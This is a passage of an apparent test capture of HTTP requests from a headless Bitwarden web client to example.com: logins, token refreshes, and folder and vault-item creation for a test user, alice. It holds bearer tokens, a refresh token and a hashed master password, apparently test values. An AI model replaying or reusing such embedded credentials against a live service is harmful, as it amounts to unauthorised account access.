q7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"549cd3b87c242101679813f95c7c6cac\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5Njg3MjQ0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiRmc4bEduelpqTWdzZTdlT19CYUhnaTB5M2pOT1AwbWdPZlRRU2E1cjA0LXZnSUpOSFM3Rkg3ejhUaG1JLUdlaUt4MjVKQmJjc08xOWt3cmdJRVU5aHc9PSIsInRva2VuIjpudWxsfQ.MDicbm7tvVt6vJFZMAXnPTSzOg6_YWqg5I-jNgrlxUSvW4q419bqz4Am10daTOcDqqgyQHogMRhm1sHM62bdiz4KeyH-vnYtm2KaS3XUCHkOlQZf8cayfcWM8P9ykesfaUJPEuD1whKRlrqyL49eBMicVyTv4uuITr-WZhkF_owQTduKxCefE34Km79geY_HkK3t-dwdCuVH4jdPyQBSKhm7NJdHj54_LlXrfuFxuLF9aoUDsx3cCPOycyD9nT8Vtilj9r1r8mm9xl70qWE3307MYWYx-AZZ5Nq5CksZBo4yYutfrFHS3KOkZJk239wBYVRNtABPGLv738u9pRvbUg"}
{"method": "GET", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/videos/new-login-item.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/videos/browser-extension-easy-access.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/videos/onboarding-autofill.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
{"method": "GET", "target": "/api/devices/knowndevice", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "X-Request-Email: YWxpY2VAZXhhbXBsZS5jb20", "Sec-Ch-Ua-Mobile: ?0", "X-Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c3a5818e-de33-4cf1-9f7e-345fd32871e4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a03db5f2-c0bc-4d6b-a5b3-49b51437a2cd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/auth-requests/pending", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA1NTYsImV4cCI6MTc5NDI4Nzc1NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJhMDNkYjVmMi1jMGJjLTRkNmItYTViMy00OWI1MTQzN2EyY2QiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Y9zoVlxbR1bUz9R2x_mTA0Rdckt9wgf79Ks_LmH48qnVO3-oUtwf4sUXrGNNDW5H9OJD570OMTvVJnnqV5O_i60XmFnT5lDSc9mQQavcVAvvUhKYo6JIJpD2iJX3FNTekSIf5cyrDh4UTRs4M_DvseywaH7Wf_sBMchpI-SvLDkX45WkJPTvGtE141cJBA0lhYEC1OqzXCm9oAUtnpzm24UqIiFmULnmgPMgCaqy0z5_q5HjwV7KJCx68mj-epHTxVEmW0OdokF_AwNBEX28PYvCPkqXQC0efV8WQqyccxHyhklQ0fzE0iPQepL8uWc04AqI-xGy8yQz4ELTtpFcpA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/images/welcome-dialog-graphic.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c2be2e36-3d11-4c06-8ba1-335675d058c6&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=956d620f-327f-4df5-99e1-7e907433bbd1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/folders", "headers": ["Host: example.com", "Content-Length: 127", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2NTIsImV4cCI6MTc5NDI4Nzg1MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI5NTZkNjIwZi0zMjdmLTRkZjUtOTllMS03ZTkwNzQzM2JiZDEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.nsIhN1Xu3znoozRrpinyJHICNbt-hqF-hF6utZkRAQsKqGP25WeOwRhiiay932ZIDHyDp5MpFnlAIHUG2ZifV0BMnQtTztqiLw4oRGFT_oOXSr2Q4hxwENQTjX2A3k1nC9yaKtzzwmZIHVnYMZvWOBcZ7kWE9LzgX3GiFivf3Pxear6TUu5m4SNm07vNgmoEzjvU83DYeJhsPQvFHwjxSaPlnKg2DjO--z3c5xKlmPMGmkRpoyjc3aAwXT3T3mbr7kUn_dKf1On1IlvVUMIE_1OIcEaJRb1iscxHokFs5WgnkG7Kio92cWAWCBzk7B8-z-e6eAI_2Y59fmOSy7xZ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"2.zvqHECD7DJhZvdxHAcURWQ==|H5AmHifDugbL0KqJrF8lF3ZB+ztLN/g2ML21y5WYYlw=|Ij+V3Bn/ktVCDC10Rfinxtrd+08DJYPzvB88xwnE2os=\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa4890d-fe4f-47d2-8c61-64b3db3cc752&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 1416", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2ODYsImV4cCI6MTc5NDI4Nzg4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlZmE0ODkwZC1mZTRmLTQ3ZDItOGM2MS02NGIzZGIzY2M3NTIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.aicYeYbu5CL2WLAr6Ws9A8ZeiP-_l0q44LIWHRw2pramR20ZJ6lFCz88PTRzgnMwwlHYpDoqX4GZXIMWJ-TCG8yoasgxqxFqUdV73oSkspnhrEtJ7tk4Lelo_RGEkY2P86SZPrIzWAJNmvNA57bHpfDL34tIjNDDOPQGaRPZE3CKOdnmqqWlfFkJx3F0lNnOdwiNqM5_cVQZj_X2r4HXVLtRhWoUcqGb8uRmYPT0M3qNnNAPwkXUnPDZrxtfAeOt_dLQYMsesiZag6k9M3PbET7XnuJR9ud_Y-hbh9gETqzYkC7XxMGjrnrBdme-zRwlDRgRlWMpodiS7jQjRRAYLg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.z5hs4tbC5CX2JBkD4VcwuA==|rJnoBTK9rfs5WqBNdDPGcJ6/dfoMSXMgyJvS5jJjkWY=|+RhYjXLVpbQQQUEkgVPp0i419U7H+5rw25NylSsTbrI=\",\"notes\":\"2.EKbq3eMUSRn0Hsf4X7Aj7w==|L4MMjwZa2sB4USlig5HROru+xF7qOQPML/bxjBSVV6s8CwZUkI2KfJLcygLM4Mz+uN7zpI0JB4I+BqNPyHL8SmQsD4jecP0svveqkH4Ir5ScA4I1ZI9nKKw2ij9zNHfX|Wl/LGj753i+2saPecRRLxRL8nkz44WXsncc6NcP8nZw=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:22.538Z\",\"reprompt\":0,\"key\":\"2.aKbSf/p5rI3+ilXtcBB2gg==|iqoCQRDMhuansz7peNgtOF3sYKPa6YnLzm+z/7WLjVy6lrZ8xHivfTDfsS+pkHSquOUHwJpBh+esSAIW2UWJ12dg6opj8PSf3yU3oh0HiP4=|vGbeUzylcM57H7og00yWHED/keOeZtUwX090k0RNWWg=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.29y9Yq9DXD9R6HTL/3jF5w==|SFq02k/cunLh8romxHP+59hTTgjWQeEE/0euvd6QuLxo8+oN0/bmgEeU6C6NuU2A|AjQXTsxluYaSrXQ4QxZY+/VYX3zSZw3k+1yblKyVzFs=\",\"uriChecksum\":\"2.e+9sG5Fau4oikkl3eT/5xA==|AdH0iPec9b4Ft+W6CEFD0zS8U/pWaFlUudegjimQn5BnNgJMnj2vJywYS+VQLRLM|L03v/H5JWAZ2ZXa2jXVFn/zoY7kF9GRZZLZB6Kw2qnI=\"}],\"username\":\"2.V469GMxqUBkah+PZDSKMZg==|EiqgA/BSWJAL+NlJKOaqjw==|5ZKCAwotKT6RB8lOLZx8FG6srihhSlWb5WInbzSszRY=\",\"password\":\"2.oretlvGP2nOYTVKfo7pTcw==|SCN4uUhv0Y2ENFcHouLqCOKNMrLDeCL6/N1LQJD24rg=|VdxDpYtI6qugmrKonYxW7nE2SeLN+5GssYkkb4HFV2M=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "GET", "target": "/icons/example.com/icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
